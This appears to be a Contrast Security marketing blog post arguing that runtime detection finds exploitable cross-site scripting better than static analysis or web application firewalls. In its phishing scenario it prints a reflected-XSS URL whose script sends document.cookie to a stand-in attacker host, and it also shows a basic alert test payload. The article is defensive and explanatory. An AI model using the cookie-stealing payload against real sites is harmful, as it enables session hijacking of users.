X
By Shay Mowlem
November 6, 2026
Static analysis identifies potential XSS vulnerabilities but cannot track data flows across third-party services, microservices or complex execution paths. Runtime detection observes actual application behavior during execution, tracking untrusted data from entry through output to confirm exploitability. This production context helps security teams focus on genuine threats rather than theoretical risks.
Cross-site scripting vulnerabilities remain pervasive despite decades of security awareness and tool improvements. High-profile organizations, including Facebook, Google and PayPal, have faced XSS exploitation, showing that application complexity, not security investment, drives the challenge.
The core problem: modern applications process user input through functionally infinite execution paths involving validation, transformation, encoding and decoding before rendering output. Traditional security tools cannot analyze every possible path, creating gaps in vulnerability detection.
Runtime detection addresses this by observing actual application behavior, identifying precisely which code lines process untrusted data unsafely, and enabling virtual patching of zero-day vulnerabilities before vendors release fixes.
Cross-site scripting detection presents unique technical challenges that traditional security tools struggle to address comprehensively. The complexity lies not just in identifying potential vulnerabilities, but in determining which ones attackers can actually exploit in production environments.
Modern application architectures drive the detection challenge. When user input travels through microservices, third-party APIs, message queues and multiple data-transformation layers before reaching output functions, static analysis can barely trace the connection between source and sink. Each service boundary, external API call and data transformation breaks the analysis chain, where traditional tools lose visibility.
According to Software Under Siege 2025, applications accumulate an average of 109 total vulnerabilities each month, creating an overwhelming backlog for security teams to investigate. Yet teams lack visibility into which vulnerabilities are actively exploited versus theoretical, forcing them to treat all findings equally despite limited remediation resources.
Static Application Security Testing (SAST) provides valuable early detection during development by scanning codebases for potential XSS vulnerabilities. However, SAST operates without runtime context. It reports issues regardless of whether code paths execute in production, whether real user input reaches potentially affected functions, or whether existing validation prevents exploitation. A SAST tool analyzing a template that renders user data cannot determine if upstream validation already sanitizes that data, leading to false positives that consume developer time investigating non-exploitable issues.
Many organizations rely on network security controls such as Web Application Firewalls (WAFs) to detect attacks targeting XSS vulnerabilities that escape into production. Unfortunately, WAFs can make the challenge worse. Separate research from Contrast Labs on detection accuracy found that web application firewalls generated high false-positive rates, while runtime detection produced zero false positives in tested scenarios. While results vary by environment, WAFs struggle to distinguish legitimate traffic from attacks without application-level context, generating alerts for every suspicious pattern regardless of whether the application's defenses successfully prevent exploitation.
Runtime visibility instruments applications from within, tagging and tracking untrusted data from entry points through validation, transformation and output operations. Unlike static analysis, which examines all possible paths, runtime security observes which paths actually execute with untrusted input.
This approach provides code-level precision that perimeter tools cannot match. Runtime detection identifies the exact line of code producing a vulnerability, the full data-flow path and confirms the issue is exploitable in production.
Consider an e-commerce search that sends user queries to Elasticsearch, receives results including the original query, then renders "You searched for: [query]" in the template.
SAST analyzes the template and sees a variable written to HTML output, but cannot trace this variable back to user input because the data flow crossed multiple boundaries:
SAST analyzes each component independently. It sees the template variable might contain untrusted data but cannot definitively connect it to the user input source that occurred three services earlier. Many SAST tools will either miss this vulnerability entirely or report low confidence, causing security teams to deprioritize investigation.
Runtime visibility tags the search query as untrusted at entry, then tracks it through every operation: the Elasticsearch call, response parsing, object mapping, template rendering and finally identifies when it gets written to HTML output without encoding.
When testing submits the payload below, runtime detection observes the complete data flow to unsafe HTML output and provides the exact vulnerable code line.
<script>alert('XSS')</script>An e-commerce platform is targeted by a phishing campaign with malicious URLs attempting reflected XSS attacks to harvest session tokens:
https://shop.example.com/products?category=<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>The security team had fixed this vulnerability months earlier. The application now properly encodes category parameters.
The WAF sees the malicious script tag and generates high-priority alerts for each victim who clicks the link. The SOC receives hundreds of alerts that require investigation to determine whether the attempts succeeded.
The WAF cannot answer the critical question: Did the malicious input actually exploit a vulnerability, or did the application's encoding prevent execution?
Runtime security observes the malicious input, tracks it through request processing, and sees the encoding function properly sanitize the parameter before HTML output. No unsafe data flow occurred; the application prevented the attack.
Runtime detection generates zero alerts because no vulnerability was exploited. The application behaved securely, encoding untrusted data before output. The security team receives no false positives requiring investigation, allowing them to focus on genuine threats.
This demonstrates why runtime security provides higher-fidelity alerts: it observes actual application behavior during execution rather than inspecting traffic patterns without application context.
Static analysis faces two accuracy challenges: reporting unexploitable vulnerabilities (false positives) and missing real vulnerabilities (false negatives).
If your application includes server-side input validation that strips script tags before data reaches output functions, SAST will still report the downstream code pattern as vulnerable because it analyzes code in isolation. Runtime visibility sees the validation execute, observes that malicious input never reaches the affected output function, and correctly determines the theoretical issue is not exploitable.
When applications process user input through complex execution paths, especially when data flows through third-party libraries, message queues or microservices, SAST loses the data-flow thread.
A typical scenario: user input enters through an API endpoint, gets processed by a third-party validation library, flows to a message queue, gets consumed by a separate service, and finally renders in HTML output.
SAST cannot maintain the connection between the original input source and the final output sink across these boundaries. It analyzes each component in isolation and fails to identify that untrusted data from the API eventually reaches HTML output without sanitization.
Runtime detection observes the full data flow during execution, tracking data through every boundary and transformation to identify the unsafe output operation. This is where runtime security provides its greatest value, finding vulnerabilities that static analysis cannot detect architecturally.
Runtime security monitors input sources and output sinks during request processing. While Software Under Siege 2025 found that XSS represented 44% of probe attacks (automated reconnaissance), the report also notes that actual exploitation attempts were rare, demonstrating the gap between attack noise and genuine threats that runtime detection helps security teams navigate.
Runtime detection tracks data through storage operations, database reads and UI rendering, identifying when malicious payloads persist in databases and later render to users without proper encoding.
Server-side runtime security complements client-side protection strategies for DOM-based XSS. While runtime detection cannot directly observe client-side DOM manipulation, it identifies server-side code sending untrusted data to client applications without proper encoding. Organizations combine runtime detection with Content Security Policy enforcement and secure JavaScript practices for comprehensive DOM-based XSS protection, creating defense in depth across both server and client tiers.
SAST provides early detection during development but cannot determine runtime exploitability. WAFs provide perimeter defense but generate false positives without application context.
Runtime security complements both by observing actual execution behavior:
Runtime detection extends data flow observation to other injection attacks:
Runtime visibility observes what actually happens in production: which code executes, how applications process input and when unsafe operations create exploitable conditions. This execution-based approach helps security teams distinguish real attacks from false positives.
Your SOC investigates hundreds of alerts weekly. Your developers remediate SAST findings of uncertain exploitability. Runtime detection focuses resources on XSS vulnerabilities attackers can actually exploit in your production environment.
Ready to see which XSS vulnerabilities actually matter? Schedule a demonstration to learn how runtime visibility changes XSS detection from theoretical analysis to production reality.
CMO at Contrast Security
Get the latest content from Contrast directly to your mailbox. By subscribing, you will stay up to date with all the latest and greatest from Contrast.
